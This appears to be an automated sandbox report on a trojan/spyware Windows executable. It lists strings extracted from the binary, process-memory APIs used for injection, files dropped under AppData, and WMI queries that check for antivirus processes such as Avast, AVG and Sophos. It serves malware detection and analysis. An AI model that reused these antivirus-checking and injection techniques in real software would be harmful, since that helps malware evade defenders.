Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data.SqlXml.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIFSUtilX.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIcmUi.Dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMSJINT40.DLLD vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameTTDLoader.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameicmp.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamepwrshplugin.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameInstallUtil.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameRdpSaPs.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewmdrmsdk.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSQLWOA.DLLJ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data. vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSetIEInstalledDateAI.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewinml.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameCLBj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIR50_QCX.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.DirectoryServices.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMshtmlDac.dllD vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamepshed.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemicrosoft.visualbasic.compatibility.data.resources. vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMSCAT32 Forwarder DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsda vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamews2help.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameVBAJET32.DLLp( vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameCommsLanguageUtil.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsafd.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameUNIPLAT.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilename"msrating.DYNLINK"j% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameifmon.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameoddbse32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Web.Services.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamegrouptrusteeai.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMapControlStringsRes.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamePaymentMediatorServiceProxy.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMORICONS.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamepwrshmsg.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameaspnet_compiler.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamerasctrs.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameaspnet_regbrowsers.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameir50_qcx.dllr) vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameCVTRESUI.DLL^ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Drawing.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSyncInfrastructureeps.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamesystem.management.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.ServiceProcess.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameCMSTPLUA.DLL` vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameCMUTIL.DLL` vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameJSC.resources.dllF vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data.Services.Design.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Management.Instrumentation.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameodbcji32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSixDofControllerManager.ProxyStubs.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMicrosoft.Build.Utilities.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSoftpub Forwarder DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameinetmib1.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdaprsr.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data.Entity.Design.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIR50_32.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdaenum.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamernr20.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewinrsmgr.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameztrace_maps.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameshfolder.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamePhoneUtilRes.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Web.Entity.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsad vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMFVFW.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameVDMDBGj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewshunix.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Runtime.Serialization.Formatters.Soap.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Security.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Runtime.Remoting.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameTimeDateMUICallback.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameaspne6: vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewmcodecdspps.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSERIALUI.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameOLEACCRC.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemagnification.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameWalletBackgroundServiceProxyj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamesvcext.dll\ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewlstore.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameUMDMXFRM.DRVj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamepcwum.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemrt100.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewmiprop.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameriched32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewlanutil.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameodfox32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsorc32r.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamealinkui.dll^ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameADDRESSPARSER.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamepeerdistai.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSpeechDesktopPS.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameNcdProp.dll^ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.XML.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenametapi Windows vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameASPPERF.DLLH vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamelaprxy.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamePhotoBase.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameUXLibRes.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamevpnikeapi.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameLICMGR10.Drporation. All rights reserved.B vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMSSIGN32.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMicrosoft.Msmq.PowerShell.Commands.resources.dll~/ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameir41_qc.dll vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIMPLATSETUP.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSyncHostps.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIR41_QC.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenametxfw32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamerpcns4.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSHPAFACT.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameEdmGen.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilename.dll.MapViewOfFileMapViewOfFileExkernel32.dll.MapViewOfFileExOpenFileMappingWkernel32.dll.OpenFileMappingWReadProcessMemorykernel32.dll.ReadProcessMemoryUnmapViewOfFilekernel32.dll.UnmapViewOfFileVirtualAllockernel32.dll.VirtualAllocVirtualAllocExkernel32.dll.VirtualAllocExVirtualFreekernel32.dll.VirtualFreeVirtualFreeExkernel32.dll.VirtualFreeExVirtualProtectkernel32.dll.VirtualProtectVirtualProtectExkernel32.dll.VirtualProtectExVirtualQuerykernel32.dll.VirtualQueryVirtualQueryExkernel32.dll.VirtualQueryExWriteProcessMemorykernel32.dll.WriteProcessMemory vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameExtrasXmlParser.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdE vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsadcor.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSHUNIMPL.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameVSSPROV.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamentlanui2.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameWSClient.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameWINSYNC.DLLh$ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameDaOtpCredentialProvider.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Data.DataSetExtensions.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Web.Entity.Design.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamecca.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Configuration.Install.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSOFTKBD.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemrt_map.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameLZ32.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Drawing.Design.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamerdpbase.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemgmtapi.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsdaurl.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameodexl32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMSHTMLER.DLLD vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameVirtualDisplayManager.ProxyStubs.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSYSSETUP.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemscorees.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIMTCTRLN.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameodbcjt32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameFeatureSettingsOverride.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSPWINSAT.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIPMIPRV.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameUserDataAccessRe vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSERWVDRV.DLLj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameodbcbcp.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMicrosoft.BitLocker.Structures.dllv+ vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameUsbui.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameIA2ComProxy.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsadcer.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewsock32.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemprext.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamesnmpapi.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameloghours.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameSystem.Transactions.resources.dllT vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamewcp.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenameMicrosoft.Da vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamemsiltcfg.dllX vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamePerceptionSimulation.ProxyStubs.dllj% vs appFile.exe
Source: appFile.exe	Binary or memory string: OriginalFilenamepsDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD vs appFile.exe

Source: appFile.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: appFile.exe

Binary string: ComponentIdBTH\MS_BTHPANNdi\InterfacesUpperRangendis4ndis5ndis5_ipndis4bdandis1394LowerRangeLocalTalkNetCfgInstanceIdCharacteristics\Device\SOFTWARE\Microsoft\Windows NT\CurrentVersion\KERNEL32.dllPresentationNative_v0400.dllwpfgfx_v0400.dllWindowsCodecs.dllWindowsCodecsExt.dllole32.dllmscms.dllninput.dllpenimc2_v0400.dllmshwgst.dllshfolder.dllurlmon.dllkernel32.dllVCRUNTIME140_CLR0400.dllucrtbase_clr0400.dllADVAPI32.dllSHLWAPI.dllmscorlibWindowsBaseSystem.XamlUIAutomationTypesSystem.ConfigurationSystem.Windows.Input.ManipulationsUIAutomationProviderSystem.XmlSystem.DeploymentCallConvStdcallSystem.Runtime.CompilerServicesCallConvCdeclNativeCppClassAttributeObjectSecurityCriticalAttributeSystem.SecurityDateTimeIsConstUnsafeValueTypeAttributeValueTypeIsSignUnspecifiedByteSecurityTreatAsSafeAttributeCLSCompliantAttributeUriByteIsLongSecuritySafeCriticalAttributeSecurityPermissionAttributeSystem.Security.PermissionsSecurityActionIsExplicitlyDereferencedIsImplicitlyDereferencedGuidPermissionSetWebExceptionSystem.NetSecurityExceptionFlagsAttributePointIsBoxedSecurityCriticalScopeIDisposableIDictionary`2System.Collections.GenericCultureInfoSystem.GlobalizationKeyValuePair`2ICollection`1IEnumerator`1IEnumeratorSystem.CollectionsDefaultMemberAttributeSystem.ReflectionIEnumerableIEnumerable`1UnmanagedMemoryStreamGuidAttributeSystem.Runtime.InteropServicesInterfaceTypeAttributeComInterfaceTypeStreamComVisibleAttributeClassInterfaceAttributeClassInterfaceTypeList`1IList`1MulticastDelegateIAsyncResultAsyncCallbackCriticalHandleDictionary`2FILETIMESystem.Runtime.InteropServices.ComTypesThreadStaticAttributeDispatcherOperationSystem.Windows.ThreadingReliabilityContractAttributeSystem.Runtime.ConstrainedExecutionConsistencyCerStringIntPtrArgumentOutOfRangeExceptionUInt32GCHandleUInt16Int32DecoratedNameAttributeMarshalMathGCHandleTypeSeekOriginOverflowExceptionDoubleNumberStylesIFormatProviderDispatcherActionDelegateThreadSystem.ThreadingGCRuntimeTypeHandleDebugSystem.DiagnosticsInvalidOperationExceptionNotImplementedExceptionInvariantNotSupportedExceptionInterlockedPermissionStateFileFormatExceptionUnauthorizedAccessExceptionFileNotFoundExceptionFixedAddressValueTypeAttributeMonitorBaseAppContextSwitchesRuntimeHelpersAssemblyAttributesGoHereSMDisableDpiAwarenessAttributeSuppressUnmanagedCodeSecurityAttributeAssemblyOperatingSystemAttributeWin32ExceptionSystem.ComponentModelPathTooLongExceptionDllNotFoundExceptionEnvironmentDependencyAttributeLoadHintAssemblyAttributesGoHereMAssemblyAttributesGoHereAllowPartiallyTrustedCallersAttributeSecurityRulesAttributeSecurityRuleSetAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyDefaultAliasAttributeAssemblyCompanyAttributeAssemblyProductAttrib

Source: appFile.exe	Binary or memory string: 5XIp.sln /t:Rebuild /p:Configuration=Release
Source: appFile.exe	Binary or memory string: .SLN
Source: appFile.exe	Binary or memory string: , MSBuild.exe Solution.sln /p:Configuration=Debug /p:Platform="Any CPU")
Source: appFile.exe	Binary or memory string: MSBuild MyApp.csproj /t:Clean

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@82/35@6/3

Source: C:\Users\user\Desktop\appFile.exe

0_2_004044D1

Source: C:\Users\user\Desktop\appFile.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp

File created: C:\Users\user\AppData\Roaming\UltraMedia

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_03
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Mutant created: \Sessions\1\BaseNamedObjects\FSCapture
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2024:120:WilError_03

Source: C:\Users\user\Desktop\appFile.exe

File created: C:\Users\user\AppData\Local\Temp\nsaA4F0.tmp

Jump to behavior

Source: appFile.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: appFile.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 47.14%

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\appFile.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\appFile.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: appFile.exe

Virustotal: Detection: 14%

Source: appFile.exe	String found in binary or memory: caspol -addfulltrust <
Source: appFile.exe	String found in binary or memory: caspol -addgroup <
Source: appFile.exe	String found in binary or memory: caspol -addpset { <
Source: appFile.exe	String found in binary or memory: Failed to re-install supersed versions for package: %S
Source: appFile.exe	String found in binary or memory: ft\Windows\CurrentVersion\Explorer\PostBootRemindersFailed to allocate post-boot reminder registry key.RegCreateKeyExW failed.Failed to allocate string for post-boot reminder registry key with SID.TitleRegCreateKeyExW failed again.TextShowTimeRetryCountRetryIntervalTypeFlagsm_sczOwnerStringonecore\base\cbs\core\CbsUpdate.hExec: Processing canceled. Client: %S, Session: %u_%u, Package: %SExec: Failed to get root store object for delayed packages.Failed to get task target package and statesExec: Failed deleting pending state for delayed package.Exec: Failed setting pending state for delayed package.Failed to add a new phase.Exec: Simple Processing started. Client: %S, Session: %S, Package: %S, Identifier: %wsFailed to add capability task.Failed to add execution task.Exec: Install uninstall skipped on simple execution, this is not expected.Scavenge: Failed to initialize scavenge operation execution objectScavenge: Failed to allocate execution object.Perf: Resolve chain started.Scavenge FailedPerf: Resolve chain started.Failed to create CSI transaction for resolving.Failed to bulk stage deployment manifest and pin deployment for package:%SFailed to complete component closurePerf: Ready for complete Component closure.Exec: Failed to commit CSI transaction to resolve execution chain.Exec: Unexpected disposition from CSI transaction to resolve execution chain: %dPerf: Resolve chain complete.Perf: Resolve chain complete.Failed to persist package: %SCommitPackagesState: Started persisting state of packagesCommitPackagesState: Completed persisting state of packagesProgress handler returned failure while storing package, continuing to finish storage then will return the failure.Failed to get next package to re-evaluateFailed to add package to execution for package:%SFailed to get intended state of package: %SFailed to execute execution package: %SFailed to prepare execution.Plan: Could not resolve package: %S, but the intended state is absent, therefore skip it.Failed to enumerate edition packagesFailed to add edition package.More than one active editions will be installed on systemFailed to get source OS version.arrPackageIdentities.GetSize() == arrCapabilityIdenties.GetSize()No active editions will be availableFailed to validate edition consistencyPlan: Package %S declares capability %S and it is still required by package: %S, cannot remove.Plan: Impactful operation detected for a non-impactful session, package:%SFailed to validate capability removalFailed to re-install supersed versions for package: %SFailed to recall or supersed lower version on package: %SarrOwnerFlags.GetSize() == arrOwners.GetSize()pAllOwnerState!sczOwnerFailed to add new owner state.Failed to allocate execution package.Failed to allocate a BulkComponentAdder object.pCommunicationFailed to enumerate the next block of componentsFailed to get enumerator for missing components.Failed to allocate a path for identity.Got %d identities from enum, only expected %dFailed to send progress.F
